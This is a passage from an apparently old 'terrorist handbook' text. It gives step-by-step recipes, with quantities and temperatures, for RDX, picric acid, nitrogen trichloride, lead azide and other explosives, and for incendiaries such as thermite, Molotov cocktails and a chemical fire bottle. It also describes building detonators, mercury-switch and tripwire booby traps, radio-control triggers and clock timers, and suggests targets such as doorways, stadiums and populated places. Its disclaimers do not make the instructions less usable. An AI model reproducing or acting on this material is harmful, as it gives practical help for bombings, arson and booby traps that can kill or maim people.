hydroxide are ideal.
3.3
HIGH-ORDER EXPLOSIVES
High order explosives can be made in the home without too much
difficulty. The main problem is acquiring the nitric acid to produce
the high
explosive. Most high explosives detonate because their molecular
structure is
made up of some fuel and usually three or more NO2 ( nitrogen dioxide )
molecules. T.N.T., or Tri-Nitro-Toluene is an excellent example of
such a
material. When a shock wave passes through an molecule of T.N.T., the
nitrogen dioxide bond is broken, and the oxygen combines with the fuel,
all in
a matter of microseconds. This accounts for the great power of
nitrogen-based
explosives. Remembering that these procedures are NEVER TO BE CARRIED
OUT,
several methods of manufacturing high-order explosives in the home are
listed.
3.31
R.D.X.
R.D.X., also called cyclonite, or composition C-1 (when mixed with
plasticisers) is one of the most valuable of all military explosives.
This is
because it has more than 150% of the power of T.N.T., and is much
easier to
detonate. It should not be used alone, since it can be set off by a
not-too
severe shock. It is less sensitive than mercury fulminate, or
nitroglycerine,
but it is still too sensitive to be used alone. R.D.X. can be made by
the
surprisingly simple method outlined hereafter. It is much easier to
make in the
home than all other high explosives, with the possible exception of
ammonium
nitrate.
MATERIALS
_________
EQUIPMENT
_________
hexamine
or
methenamine
fuel tablets (50 g)
500 ml beaker
glass stirring rod
funnel and filter paper
concentrated
nitric acid (550 ml)
ice bath container
(plastic bucket)
distilled water
centigrade thermometer
table salt
blue litmus paper
ice
ammonium nitrate
1) Place the beaker in the ice bath, (see section 3.13, steps 3-4) and
carefully
pour 550 ml of concentrated nitric acid into the beaker.
2) When the acid has cooled to below 20 degrees centigrade, add small
amounts of
the crushed fuel tablets to the beaker. The temperature will rise,
and it
must be kept below 30 degrees centigrade, or dire consequences could
result.
Stir the mixture.
3) Drop the temperature below zero degrees centigrade, either by adding
more ice
and salt to the old ice bath, or by creating a new ice bath. Or,
ammonium
nitrate could be added to the old ice bath, since it becomes cold
when it is
put in water. Continue stirring the mixture, keeping the temperature
below
zero degrees centigrade for at least twenty minutes
4) Pour the mixture into a litre of crushed ice. Shake and stir the
mixture,
and allow it to melt. Once it has melted, filter out the crystals,
and
dispose of the corrosive liquid.
5) Place the crystals into one half a litre of boiling distilled water.
Filter
the crystals, and test them with the blue litmus paper. Repeat
steps 4 and 5
until the litmus paper remains blue. This will make the crystals
more stable
and safe.
6) Store the crystals wet until ready for use. Allow them to dry
completely
using them. R.D.X. is not stable enough to use alone as an
explosive.
7) Composition C-1 can be made by mixing 88.3% R.D.X. (by weight) with
11.1%
mineral oil, and 0.6% lecithin. Kneed these material together in a
plastic
bag. This is a good way to desensitize the explosive.
8) H.M.X. is a mixture of T.N.T. and R.D.X.; the ratio is 50/50, by
weight.
it is not as sensitive, and is almost as powerful as straight R.D.X.
9) By adding ammonium nitrate to the crystals of R.D.X. after step 5,
it should
be possible to desensitize the R.D.X., and increase its power, since
ammonium
nitrate is very insensitive and powerful. Soduim or potassium
nitrate could
also be added; a small quantity is sufficient to stabilize the
R.D.X.
10) R.D.X. detonates at a rate of 8550 meters/second when it is
compressed to a
density of 1.55 g/cubic cm.
3.32
AMMONIUM NITRATE
Ammonium nitrate could be made by a terrorist according to the
haphazard method in section 2.33, or it could be stolen from a
construction site,
since it is usually used in blasting, because it is very stable and
insensitive
to shock and heat. A terrorist could also buy several Instant ColdPaks from a
drug store or medical supply store. The major disadvantage with
ammonium
nitrate, from a terrorist's point of view, would be detonating it. A
rather
powerful priming charge must be used, and usually with a booster
charge. The
diagram below will explain.
_________________________________________
|
|
|
________|
|
|
|
| T.N.T.|
ammonium nitrate
|
|primer |booster|
|
|_______|
|
|
|
|
|
|_______|_______________________________|
The primer explodes, detonating the T.N.T., which detonates,
sending
a tremendous shockwave through the ammonium nitrate, detonating it.
3.33
ANFOS
ANFO is an acronym for Ammonium Nitrate - Fuel Oil Solution. An
ANFO
solves the only other major problem with ammonium nitrate: its tendency
to pick
up water vapor from the air. This results in the explosive failing to
detonate
when such an attempt is made. This is rectified by mixing 94% (by
weight)
ammonium nitrate with 6% fuel oil, or kerosene. The kerosene keeps the
ammonium
nitrate from absorbing moisture from the air. An ANFO also requires a
large
shockwave to set it off.
3.34
T.N.T.
T.N.T., or Tri-Nitro-Toluene, is perhaps the second oldest known
high
explosive. Dynamite, of course, was the first. It is certainly the
best known
high explosive, since it has been popularized by early morning
cartoons. It is
the standard for comparing other explosives to, since it is the most
well known.
In industry, a T.N.T. is made by a three step nitration process that is
designed
to conserve the nitric and sulfuric acids which are used to make the
product. A
terrorist, however, would probably opt for the less economical one-step
method.
The one step process is performed by treating toluene with very strong
(fuming)
sulfuric acid. Then, the sulfated toluene is treated with very strong
(fuming)
nitric acid in an ice bath. Cold water is added the solution, and it
is
filtered.
3.35
POTASSIUM CHLORATE
Potassium chlorate itself cannot be made in the home, but it can
be
obtained from labs. If potassium chlorate is mixed with a small amount
of
vaseline, or other petroleum jelly, and a shockwave is passed through
it, the
material will detonate with slightly more power than black powder. It
must,
however, be confined to detonate it in this manner. The procedure for
making
such an explosive is outlined below:
MATERIALS
_________
potassium chlorate
(9 parts, by volume)
petroleum jelly
(vaseline)
(1 part, by volume)
EQUIPMENT
_________
zip-lock plastic bag
clay grinding bowl
or
wooden bowl and wooden spoon
1) Grind the potassium chlorate in the grinding bowl carefully and
slowly,
until the potassium chlorate is a very fine powder. The finer that
it is
powdered, the faster (better) it will detonate.
2) Place the powder into the plastic bag. Put the petroleum jelly
into the
plastic bag, getting as little on the sides of the bag as possible,
i.e.
put the vaseline on the potassium chlorate powder.
3) Close the bag, and kneed the materials together until none of the
potassium
chlorate is dry powder that does not stick to the main glob. If
necessary,
add a bit more petroleum jelly to the bag.
4) The material must me used within 24 hours, or the mixture will
react to
greatly reduce the effectiveness of the explosive. This reaction,
however,
is harmless, and releases no heat or dangerous products.
3.36
DYNAMITE
The name dynamite comes from the Greek word "dynamis", meaning
power.
Dynamite was invented by Nobel shortly after he made nitroglycerine.
It was
made because nitroglycerine was so dangerously sensitive to shock. A
misguided
individual with some sanity would, after making nitroglycerine (an
insane act)
would immediately convert it to dynamite. This can be done by adding
various
materials to the nitroglycerine, such as sawdust. The sawdust holds a
large
weight of nitroglycerine per volume. Other materials, such as ammonium
nitrate
could be added, and they would tend to desensitize the explosive, and
increase
the power. But even these nitroglycerine compounds are not really
safe.
3.37
NITROSTARCH EXPLOSIVES
Nitrostarch explosives are simple to make, and are fairly
powerful. All
that need be done is treat various starches with a mixture of
concentrated nitric
and sulfuric acids. 10 ml of concentrated sulfuric acid is added to 10
ml of
concentrated nitric acid. To this mixture is added 0.5 grams of
starch. Cold
water is added, and the apparently unchanged nitrostarch is filtered
out.
Nitrostarch explosives are of slightly lower power than T.N.T., but
they are
more readily detonated.
3.38
PICRIC ACID
Picric acid, also known as Tri-Nitro-Phenol, or T.N.P., is a
military
explosive that is most often used as a booster charge to set off
another less
sensitive explosive, such as T.N.T. It another explosive that is
fairly simple
to make, assuming that one can acquire the concentrated sulfuric and
nitric
acids. Its procedure for manufacture is given in many college
chemistry lab
manuals, and is easy to follow. The main problem with picric acid is
its
tendency to form dangerously sensitive and unstable picrate salts, such
as
potassium picrate. For this reason, it is usually made into a safer
form, such
as ammonium picrate, also called explosive D. A social deviant would
probably
use a formula similar to the one presented here to make picric acid.
MATERIALS
_________
EQUIPMENT
_________
phenol (9.5 g)
500 ml flask
concentrated
sulfuric acid (12.5 ml)
concentrated nitric
acid (38 ml)
distilled water
adjustable heat source
1000 ml beaker
or other container
suitable for boiling in
filter paper
and funnel
glass stirring rod
1) Place 9.5 grams of phenol into the 500 ml flask, and carefully add
12.5
ml of concentrated sulfuric acid and stir the mixture.
2) Put 400 ml of tap water into the 1000 ml beaker or boiling container
and
bring the water to a gentle boil.
3) After warming the 500 ml flask under hot tap water, place it in the
boiling
water, and continue to stir the mixture of phenol and acid for about
thirty
minutes. After thirty minutes, take the flask out, and allow it to
cool for
about five minutes.
4) Pour out the boiling water used above, and after allowing the
container to
cool, use it to create an ice bath, similar to the one used in
section 3.13,
steps 3-4. Place the 500 ml flask with the mixed acid an phenol in
the ice
bath. Add 38 ml of concentrated nitric acid in small amounts,
stirring the
mixture constantly. A vigorous but "harmless" reaction should
occur. When
the mixture stops reacting vigorously, take the flask out of the ice
bath.
5) Warm the ice bath container, if it is glass, and then begin boiling
more tap
water. Place the flask containing the mixture in the boiling water,
and heat
it in the boiling water for 1.5 to 2 hours.
6) Add 100 ml of cold distilled water to the solution, and chill it in
an ice
bath until it is cold.
7) Filter out the yellowish-white picric acid crystals by pouring the
solution
through the filter paper in the funnel. Collect the liquid and
dispose of it
in a safe place, since it is corrosive.
8) Wash out the 500 ml flask with distilled water, and put the contents
of the
filter paper in the flask. Add 300 ml of water, and shake
vigorously.
9) Re-filter the crystals, and allow them to dry.
10) Store the crystals in a safe place in a glass container, since they
will
react with metal containers to produce picrates that could explode
spontaneously.
3.39
AMMONIUM PICRATE
Ammonium picrate, also called Explosive D, is another safety
explosive.
It requires a substantial shock to cause it to detonate, slightly less
than that
required to detonate ammonium nitrate. It is much safer than picric
acid, since
it has little tendency to form hazardous unstable salts when placed in
metal
containers. It is simple to make from picric acid and clear household
ammonia.
All that need be done is put the picric acid crystals into a glass
container and
dissolve them in a great quantity of hot water. Add clear household
ammonia in
excess, and allow the excess ammonia to evaporate. The powder
remaining should
be ammonium picrate.
3.40
NITROGEN TRICHLORIDE
Nitrogen trichloride, also known as chloride of azode, is an oily
yellow
liquid. It explodes violently when it is heated above 60 degrees
celsius, or
when it comes in contact with an open flame or spark. It is fairly
simple to
produce.
1) In a beaker, dissolve about 5 teaspoons of ammonium nitrate in
water.
Do not put so much ammonium nitrate into the solution that some of
it
remains undissolved in the bottom of the beaker.
2) Collect a quantity of chlorine gas in a second beaker by mixing
hydrochloric
acid with potassium permanganate in a large flask with a stopper
and glass
pipe.
3) Place the beaker containing the chlorine gas upside down on top of
the
beaker containing the ammonium nitrate solution, and tape the
beakers
together. Gently heat the bottom beaker. When this is done, oily
yellow
droplets will begin to form on the surface of the solution, and
sink down
to the bottom. At this time, remove the heat source immediately.
Alternately, the chlorine can be bubbled through the ammonium
nitrate
solution, rather than collecting the gas in a beaker, but this
requires
timing and a stand to hold the beaker and test tube.
The chlorine gas can also be mixed with anhydrous ammonia gas, by
gently
heating a flask filled with clear household ammonia. Place the
glass tubes
from the chlorine-generating flask and the tube from the ammoniagenerating
flask in another flask that contains water.
4) Collect the yellow droplets with an eyedropper, and use them
immediately,
since nitrogen trichloride decomposes in 24 hours.
3.41
LEAD AZIDE
Lead Azide is a material that is often used as a booster charge
for
other explosive, but it does well enough on its own as a fairly
sensitive
explosive. It does not detonate too easily by percussion or impact,
but it
is easily detonated by heat from an igniter wire, or a blasting cap.
It is
simple to produce, assuming that the necessary chemicals can be
procured.
By dissolving sodium azide and lead acetate in water in separate
beakers, the two materials are put into an aqueous state. Mix the two
beakers
together, and apply a gentle heat. Add an excess of the lead acetate
solution, until no reaction occurs, and the precipitate on the bottom
of the
beaker stops forming. Filter off the solution, and wash the
precipitate in
hot water. The precipitate is lead azide, and it must be stored wet
for safety.
If lead acetate cannot be found, simply acquire acetic acid, and
put
lead metal in it. Black powder bullets work well for this purpose.
3.5
OTHER "EXPLOSIVES"
The remaining section covers the other types of materials that can
be used to destroy property by fire. Although none of the materials
presented
here are explosives, they still produce explosive-style results.
3.51
THERMIT
Thermit is a fuel-oxodizer mixture that is used to generate
tremendous
amounts of heat. It was not presented in section 3.23 because it does
not react
nearly as readily. It is a mixture of iron oxide and aluminum, both
finely
powdered. When it is ignited, the aluminum burns, and extracts the
oxygen from
the iron oxide. This is really two very exothermic reactions that
produce a
combined temperature of about 2200 degrees C. This is half the heat
produced by
an atomic weapon. It is difficult to ignite, however, but when it is
ignited,
it is one of the most effective firestarters around.
MATERIALS
_________
powdered aluminum (10 g)
powdered iron oxide (10 g)
1) There is no special procedure or equipment required to make thermit.
Simply
mix the two powders together, and try to make the mixture as
homogenous as
possible. The ratio of iron oxide to aluminum is 50% / 50% by
weight, and
be made in greater or lesser amounts.
2) Ignition of thermite can be accomplished by adding a small amount of
potassium chlorate to the thermit, and pouring a few drops of
sulfuric acid
on it. This method and others will be discussed later in section
4.33. The
other method of igniting thermit is with a magnesium strip.
Finally, by
using common sparkler-type fireworks placed in the thermit, the
mixture
can be ignited.
3.52
MOLOTOV COCKTAILS
First used by Russians against German tanks, the Molotov cocktail
is now
exclusively used by terrorists worldwide. They are extremely simple to
make, and
can produce devastating results. By taking any highly flammable
material, such
as gasoline, diesel fuel, kerosene, ethyl or methyl alcohol, lighter
fluid,
turpentine, or any mixture of the above, and putting it into a large
glass
bottle, anyone can make an effective firebomb. After putting the
flammable
liquid in the bottle, simply put a piece of cloth that is soaked in the
liquid
in the top of the bottle so that it fits tightly. Then, wrap some of
the cloth
around the neck and tie it, but be sure to leave a few inches of lose
cloth to
light. Light the exposed cloth, and throw the bottle. If the burning
cloth
does not go out, and if the bottle breaks on impact, the contents of
the bottle
will spatter over a large area near the site of impact, and burst into
flame.
Flammable mixtures such as kerosene and motor oil should be mixed with
a more
volatile and flammable liquid, such as gasoline, to insure ignition. A
mixture
such as tar or grease and gasoline will stick to the surface that it
strikes,
and burn hotter, and be more difficult to extinguish. A mixture such
as this
must be shaken well before it is lit and thrown
3.53
CHEMICAL FIRE BOTTLE
The chemical fire bottle is really an advanced molotov cocktail.
Rather
than using the burning cloth to ignite the flammable liquid, which has
at best
a fair chance of igniting the liquid, the chemical fire bottle utilizes
the very
hot and violent reaction between sulfuric acid and potassium chlorate.
When the
container breaks, the sulfuric acid in the mixture of gasoline sprays
onto the
paper soaked in potassium chlorate and sugar. The paper, when struck
by the
acid, instantly bursts into a white flame, igniting the gasoline. The
chance
of failure to ignite the gasoline is less than 2%, and can be reduced
to 0%, if
there is enough potassium chlorate and sugar to spare.
MATERIALS
_________
potassium chlorate
(2 teaspoons)
sugar (2 teaspoons)
EQUIPMENT
_________
glass bottle
(12 oz.)
cap for bottle,
with plastic inside
concentrated
sulfuric acid (4 oz.)
gasoline (8 oz.)
cooking pan with raised
edges
paper towels
glass or plastic cup
and spoon
1) Test the cap of the bottle with a few drops of sulfuric acid to make
sure
that the acid will not eat away the bottle cap during storage. If
the
acid eats through it in 24 hours, a new top must be found and
tested, until
a cap that the acid does not eat through is found. A glass top is
excellent.
2) Carefully pour 8 oz. of gasoline into the glass bottle.
3) Carefully pour 4 oz. of concentrated sulfuric acid into the glass
bottle.
Wipe up any spills of acid on the sides of the bottle, and screw the
cap on
the bottle. Wash the bottle's outside with plenty of water. Set it
aside
to dry.
4) Put about two teaspoons of potassium chlorate and about two
teaspoons of
sugar into the glass or plastic cup. Add about 1/2 cup of boiling
water,
or enough to dissolve all of the potassium chlorate and sugar.
5) Place a sheet of paper towel in the cooking pan with raised edges.
Fold
the paper towel in half, and pour the solution of dissolved
potassium
chlorate and sugar on it until it is thoroughly wet. Allow the
towel to
dry.
6) When it is dry, put some glue on the outside of the glass bottle
containing
the gasoline and sulfuric acid mixture. Wrap the paper towel around
the
bottle, making sure that it sticks to it in all places. Store the
bottle
in a place where it will not be broken or tipped over.
7) When finished, the solution in the bottle should appear as two
distinct
liquids, a dark brownish-red solution on the bottom, and a clear
solution
on top. The two solutions will not mix. To use the chemical fire
bottle,
simply throw it at any hard surface.
8) NEVER OPEN THE BOTTLE, SINCE SOME SULFURIC ACID MIGHT BE ON THE CAP,
WHICH
COULD TRICKLE DOWN THE SIDE OF THE BOTTLE AND IGNITE THE POTASSIUM
CHLORATE,
CAUSING A FIRE AND/OR EXPLOSION.
9) To test the device, tear a small piece of the paper towel off the
bottle,
and put a few drops of sulfuric acid on it. The paper towel should
immediately burst into a white flame.
3.54
BOTTLED GAS EXPLOSIVES
Bottled gas, such as butane for refilling lighters, propane for
propane
stoves or for bunsen burners, can be used to produce a powerful
explosion. To
make such a device, all that a simple-minded anarchist would have to do
would be
to take his container of bottled gas and place it above a can of Sterno
or other
gelatinized fuel, and light the fuel and run. Depending on the fuel
used, and
on the thickness of the fuel container, the liquid gas will boil and
expand to
the point of bursting the container in about five minutes. In theory,
the gas
would immediately be ignited by the burning gelatinized fuel, producing
a large
fireball and explosion. Unfortunately, the bursting of the bottled gas
container
often puts out the fuel, thus preventing the expanding gas from
igniting. By
using a metal bucket half filled with gasoline, however, the chances of
ignition
are better, since the gasoline is less likely to be extinguished.
Placing the
canister of bottled gas on a bed of burning charcoal soaked in gasoline
would
probably be the most effective way of securing ignition of the
expanding gas,
since although the bursting of the gas container may blow out the flame
of the
gasoline, the burning charcoal should immediately re-ignite it.
Nitrous oxide,
hydrogen, propane, acetylene, or any other flammable gas will do
nicely.
4.0
USING EXPLOSIVES
Once a terrorist has made his explosives, the next logical step is
to
apply them. Explosives have a wide range of uses, from harassment, to
vandalism,
to murder. NONE OF THE IDEAS PRESENTED HERE ARE EVER TO BE CARRIED
OUT, EITHER
IN PART OR IN FULL! DOING SO CAN LEAD TO PROSECUTION, FINES, AND
IMPRISONMENT!
The first step that a person that would use explosive would take
would
be to determine how big an explosive device would be needed to do
whatever had to
be done. Then, he would have to decide what to make his bomb with. He
would
also have to decide on how he wanted to detonate the device, and
determine where
the best placement for it would be. Then, it would be necessary to see
if the
device could be put where he wanted it without it being discovered or
moved.
Finally, he would actually have to sit down and build his explosive
device.
These are some of the topics covered in the next section.
4.1
SAFETY
There is no such thing as a "safe" explosive device.
speak
in terms of relative safety, or less unsafe.
4.2
IGNITION DEVICES
One can only
There are many ways to ignite explosive devices. There is the
classic
"light the fuse, throw the bomb, and run" approach, and there are
sensitive
mercury switches, and many things in between. Generally, electrical
detonation
systems are safer than fuses, but there are times when fuses are more
appropriate than electrical systems; it is difficult to carry an
electrical
detonation system into a stadium, for instance, without being caught.
A device
with a fuse or impact detonating fuse would be easier to hide.
4.21
FUSE IGNITION
The oldest form of explosive ignition, fuses are perhaps the
favorite
type of simple ignition system. By simply placing a piece of
waterproof fuse in
a device, one can have almost guaranteed ignition. Modern waterproof
fuse is
extremely reliable, burning at a rate of about 2.5 seconds to the inch.
It is
available as model rocketry fuse in most hobby shops, and costs about
$3.00 for
a nine-foot length. Fuse is a popular ignition system for pipe bombers
because
of its simplicity. All that need be done is light it with a match or
lighter.
Of course, if the Army had fuses like this, then the grenade,
which uses
fuse ignition, would be very impracticle. If a grenade ignition system
can be
acquired, by all means, it is the most effective. But, since such
things do not
just float around, the next best thing is to prepare a fuse system
which does
not require the use of a match or lighter, but still retains its
simplicity.
One such method is described below:
MATERIALS
_________
strike-on-cover type matches
electrical tape or duct tape
waterproof fuse
1) To determine the burn rate of a particular type of fuse, simply
measure a
6 inch or longer piece of fuse and ignite it. With a stopwatch,
press the
start button the at the instant when the fuse lights, and stop the
watch when
the fuse reaches its end. Divide the time of burn by the length of
fuse, and
you have the burn rate of the fuse, in seconds per inch. This will
be shown
below:
Suppose an eight inch piece of fuse is burned, and its complete
time
of combustion is 20 seconds.
20 seconds
__________
8 inches
= 2.5 seconds per inch.
If a delay of 10 seconds was desired with this fuse, divide the
desired
time by the number of seconds per inch:
10 seconds
___________________ = 4 inches
2.5 seconds / inch
NOTE: THE LENGTH OF FUSE HERE MEANS LENGTH OF FUSE TO THE POWDER. SOME
FUSE,
AT LEAST AN INCH, SHOULD BE INSIDE THE DEVICE. ALWAYS ADD THIS
EXTRA
INCH, AND PUT THIS EXTRA INCH AN INCH INTO THE DEVICE!!!
2) After deciding how long a delay is desired before the explosive
device is
to go off, add about 1/2 an inch to the premeasured amount of fuse,
and
cut it off.
3) Carefully remove the cardboard matches from the paper match case.
Do not
pull off individual matches; keep all the matches attached to the
cardboard
base. Take one of the cardboard match sections, and leave the other
one
to make a second igniter.
4) Wrap the matches around the end of the fuse, with the heads of the
matches
touching the very end of the fuse. Tape them there securely, making
sure not
to put tape over the match heads. Make sure they are very secure by
pulling
on them at the base of the assembly. They should not be able to
move.
5) Wrap the cover of the matches around the matches attached to the
fuse, making
sure that the striker paper is below the match heads and the striker
faces
the match heads. Tape the paper so that is fairly tight around the
matches.
Do not tape the cover of the striker to the fuse or to the matches.
Leave
enough of the match book to pull on for ignition.
.PA
_____________________
\
/
\
/ ------ match book cover
\
/
|
M|f|M ---|------- match head
|
A|u|A
|
|
T|s|T
|
|
C|e|C
|
|tapeH|f|Htape|
|
|u|
|
|#####|s|#####|-------- striking paper
|#####|e|#####|
\
|f|
/
\
|u|
/
\
|s|
/
\ |e| /
|ta|f|pe|
|ta|u|pe|
|s|
|e|
|f|
|u|
|s|
|e|
The match book is wrapped around the matches, and is taped to
itself.
The matches are taped to the fuse. The striker will rub against
the
matcheads when the match book is pulled.
6) When ready to use, simply pull on the match paper. It should pull
the
striking paper across the match heads with enough friction to light
them.
In turn, the burning matcheads will light the fuse, since it
adjacent to the
burning match heads.
4.22
IMPACT IGNITION
Impact ignition is an excellent method of ignition for spontaneous
terrorist activities. The problem with an impact-detonating device is
that it
must be kept in a very safe container so that it will not explode while
being
transported to the place where it is to be used. This can be done by
having a
removable impact initiator.
The best and most reliable impact initiator is one that uses
factory
made initiators or primers. A no. 11 cap for black powder firearms is
one such
primer. They usually come in boxes of 100, and cost about $2.50. To
use such
a cap, however, one needs a nipple that it will fit on. Black powder
nipples
are also available in gun stores. All that a person has to do is ask
for a
package of nipples and the caps that fit them. Nipples have a hole
that goes
all the way through them, and they have a threaded end, and an end to
put the
cap on.
A cutaway of a nipple is shown below:
________________
|
|
_
v
|
| |
|
________| |^^^^^^^^|
|
|
___________|
|
|
|
|
no. 11
|_______|
|
percussion
_______
| ------- threads for
screwing
cap here
|
|
|
nipple onto bomb
|
|__________|
|
|_______
|
|
| |^^^^^^^^|
|
|_|
|
^
|
|
|
|________________|
When making using this type of initiator, a hole must be drilled
into
whatever container is used to make the bomb out of. The nipple is then
screwed
into the hole so that it fits tightly. Then, the cap can be carried
and placed
on the bomb when it is to be thrown. The cap should be bent a small
amount
before it is placed on the nipple, to make sure that it stays in place.
The
only other problem involved with an impact detonating bomb is that it
must
strike a hard surface on the nipple to set it off. By attaching fins
or a small
parachute on the end of the bomb opposite the primer, the bomb, when
thrown,
should strike the ground on the primer, and explode. Of course, a bomb
with
mercury fulminate in each end will go off on impact regardless of which
end it
strikes on, but mercury fulminate is also likely to go off if the
person
carrying the bomb is bumped hard.
4.23
ELECTRICAL IGNITION
Electrical ignition systems for detonation are usually the safest
and
most reliable form of ignition. Electrical systems are ideal for
demolition
work, if one doesn't have to worry so much about being caught. With
two spools
of 500 ft of wire and a car battery, one can detonate explosives from a
"safe",
comfortable distance, and be sure that there is nobody around that
could get
hurt. With an electrical system, one can control exactly what time a
device
will explode, within fractions of a second. Detonation can be aborted
in less
than a second's warning, if a person suddenly walks by the detonation
sight, or
if a police car chooses to roll by at the time. The two best
electrical igniters
are military squibs and model rocketry igniters. Blasting caps for
construction
also work well. Model rocketry igniters are sold in packages of six,
and cost
about $1.00 per pack. All that need be done to use them is connect it
to two
wires and run a current through them. Military squibs are difficult to
get,
but they are a little bit better, since they explode when a current is
run
through them, whereas rocketry igniters only burst into flame.
Military squibs
can be used to set off sensitive high explosives, such as R.D.X., or
potassium
chlorate mixed with petroleum jelly. Igniters can be used to set off
black
powder, mercury fulminate, or guncotton, which in turn, can set of a
high order
explosive.
4.24
ELECTRO-MECHANICAL IGNITION
Electro-mechanical ignition systems are systems that use some type
of
mechanical switch to set off an explosive charge electrically. This
type of
switch is typically used in booby traps or other devices in which the
person
who places the bomb does not wish to be anywhere near the device when
it
explodes. Several types of electro-mechanical detonators will be
discussed
4.241
Mercury Switches
Mercury switches are a switch that uses the fact that mercury
metal
conducts electricity, as do all metals, but mercury metal is a liquid
at room
temperatures. A typical mercury switch is a sealed glass tube with two
electrodes and a bead of mercury metal. It is sealed because of
mercury's nasty
habit of giving off brain-damaging vapors. The diagram below may help
to
explain a mercury switch.
______________
A /
\
_______wire +______/__+
\
( Hg ) |
/
\ _(_Hg_)__|____/
|
|
wire |
|
|
B
-
\
When the drop of mercury ("Hg" is mercury's atomic symbol) touches
both
contacts, current flows through the switch. If this particular switch
was in
its present position, A---B, current would be flowing, since the
mercury can
touch both contacts in the horizontal position.
B
If, however, it was in the
|
would only
touch the + contact on the A side.
position, the drop of mercury
A
Current, then could not flow, since the mercury does not reach both
contacts
when the switch is in the verticle position.
This type of switch is ideal to place by a door. If it were
placed in
the path of a swinging door in the verticle position, the motion of the
door
would knock the switch down, if it was held to the ground by a piece if
tape.
This would tilt the switch into the verticle position, causing the
mercury to
touch both contacts, allowing current to flow through the mercury, and
to the
igniter or squib in an explosive device. Imagine opening a door and
having it
slammed in your face by an explosion.
4.242
Tripwire Switches
A tripwire is an element of the classic booby trap. By placing a
nearly
invisible line of string or fishing line in the probable path of a
victim, and
by putting some type of trap there also, nasty things can be caused to
occur.
If this mode of thought is applied to explosives, how would one use
such a
tripwire to detonate a bomb. The technique is simple. By wrapping the
tips of
a standard clothespin with aluminum foil, and placing something between
them,
and connecting wires to each aluminum foil contact, an electric
tripwire can
be made, If a piece of wood attached to the tripwire was placed
between the
contacts on the clothespin, the clothespin would serve as a switch.
When the
tripwire was pulled, the clothespin would snap together, allowing
current to
flow between the two pieces of aluminum foil, thereby completing a
circuit, which
would have the igniter or squib in it. Current would flow between the
contacts
to the igniter or squib, heat the igniter or squib, causing it to
explode.
__________________________________
\_foil___________________________/
(0) --------------------------spring
insert strip of ------- _foil_____\_____________________
wood with trip/___________\____________________\
wire between foil
contacts
Make sure that the aluminum foil contacts do not touch the spring,
since
the spring also conducts electricity.
4.243
Radio Control Detonators
In the movies, every terrorist or criminal uses a radio controlled
detonator to set off explosives. With a good radio detonator, one can
be
several miles away from the device, and still control exactly when it
explodes,
in much the same way as an electrical switch. The problem with radio
detonators
is that they are rather costly. However, there could possibly be a
reason that
a terrorist would wish to spend the amounts of money involved with a RC
(radio
control) system and use it as a detonator. If such an individual
wanted to
devise an RC detonator, all he would need to do is visit the local
hobby store
or toy store, and buy a radio controlled toy. Taking it back to
his/her abode,
all that he/she would have to do is detach the solenoid/motor that
controls the
motion of the front wheels of a RC car, or detach the solenoid/motor of
the
elevators/rudder of a RC plane, or the rudder of a RC boat, and reconnect the
squib or rocket engine igniter to the contacts for the solenoid/motor.
The
device should be tested several times with squibs or igniters, and
fully
charged batteries should be in both he controller and the receiver (the
part
that used to move parts before the device became a detonator).
4.3
DELAYS
A delay is a device which causes time to pass from when a device
is
set up to the time that it explodes. A regular fuse is a delay, but it
would
cost quite a bit to have a 24 hour delay with a fuse. This section
deals with
the different types of delays that can be employed by a terrorist who
wishes to
be sure that his bomb will go off, but wants to be out of the country
when it
does.
4.31
FUSE DELAYS
It is extremely simple to delay explosive devices that employ
fuses for
ignition. Perhaps the simplest way to do so is with a cigarette. An
average
cigarette burns for about 8 minutes. The higher the "tar" and nicotine
rating,
the slower the cigarette burns. Low "tar" and nicotine cigarettes burn
quicker
than the higher "tar" and nicotine cigarettes, but they are also less
likely to
go out if left unattended, i.e. not smoked. Depending on the wind or
draft in
a given place, a high "tar" cigarette is better for delaying the
ignition of a
fuse, but there must be enough wind or draft to give the cigarette
enough oxygen
to burn. People who use cigarettes for the purpose of delaying fuses
will often
test the cigarettes that they plan to use in advance to make sure they
stay lit,
and to see how long it will burn. Once a cigarettes burn rate is
determined, it
is a simple matter of carefully putting a hole all the way through a
cigarette
with a toothpick at the point desired, and pushing the fuse for a
device in the
hole formed.
.PA
|=|
| | ---------| |
|_|
| |
|o| ---------cigarette -----------|
| |
| |
| |
| |
| |
| |
| |
| |
|_| ----------
filter
hole for fuse
|
light this end
A similar type of device can be make from powdered charcoal and a
sheet
of paper. Simply roll the sheet of paper into a thin tube, and fill it
with
powdered charcoal. Punch a hole in it at the desired location, and
insert a
fuse. Both ends must be glued closed, and one end of the delay must be
doused
with lighter fluid before it is lit. Or, a small charge of gunpowder
mixed with
powdered charcoal could conceivably used for igniting such a delay. A
chain of
charcoal briquettes can be used to delay a fuse by merely lining up a
few bricks
of charcoal so that they touch each other, end on end, and lighting the
first
brick. Incense, which can be purchased at almost any novelty or party
supply
store, can also be used as a fairly reliable delay. By wrapping the
fuse about
the end of an incense stick, delays of up to 1/2 an hour are possible.
Finally, it is possible to make a relatively slow-burning fuse in the
home. By
dissolving about one teaspoon of black powder in about 1/4 a cup of
boiling
water, and, while it is still hot, soaking in it a long piece of all
cotton
string, a slow-burning fuse can be made. After the soaked string
dries, it
must then be tied to the fuse of an explosive device. Sometimes, the
end of the
slow burning fuse that meets the normal fuse has a charge of black
powder or
gunpowder at the intersection point to insure ignition, since the slowburning
fuse does not burn at a very high temperature. A similar type of slow
fuse can
be made by taking the above mixture of boiling water and black powder
and pouring
it on a long piece of toilet paper. The wet toilet paper is then
gently twisted
up so that it resembles a firecracker fuse, and is allowed to dry.
4.32
TIMER DELAYS
Timer delays, or "time bombs" are usually employed by an
individual who
wishes to threaten a place with a bomb and demand money to reveal its
location
and means to disarm it. Such a device could be placed in any populated
place
if it were concealed properly. There are several ways to build a timer
delay.
By simply using a screw as one contact at the time that detonation is
desired,
and using the hour hand of a clock as the other contact, a simple timer
can be
made. The minute hand of a clock should be removed, unless a delay of
less than
an hour is desired.
___________________________________
to igniter
from igniter
|
|
|
|
|
|
|
|
|
|
|
|
|
12
11
10
9
8
1
|
|
|
:
^
2
|
.................|......:
:
|
o
3
|
|
|
|
|
|
4
|
V
o..........|......
:
:
:
:
:
v
:
:
:
:
:
:
:
|
7
5
|
:
:
|
6
|
:.........+
|_________________________________|
__|_____|____
|
|
| battery |
o -contacts
|
|
..... -wire
|
|
|___________|
This device is set to go off in eleven hours. When the hour hand
of the
clock reaches the contact near the numeral 5, it will complete the
circuit,
allowing current to flow through the igniter or squib.
The main disadvantage with this type of timer is that it can only
be set
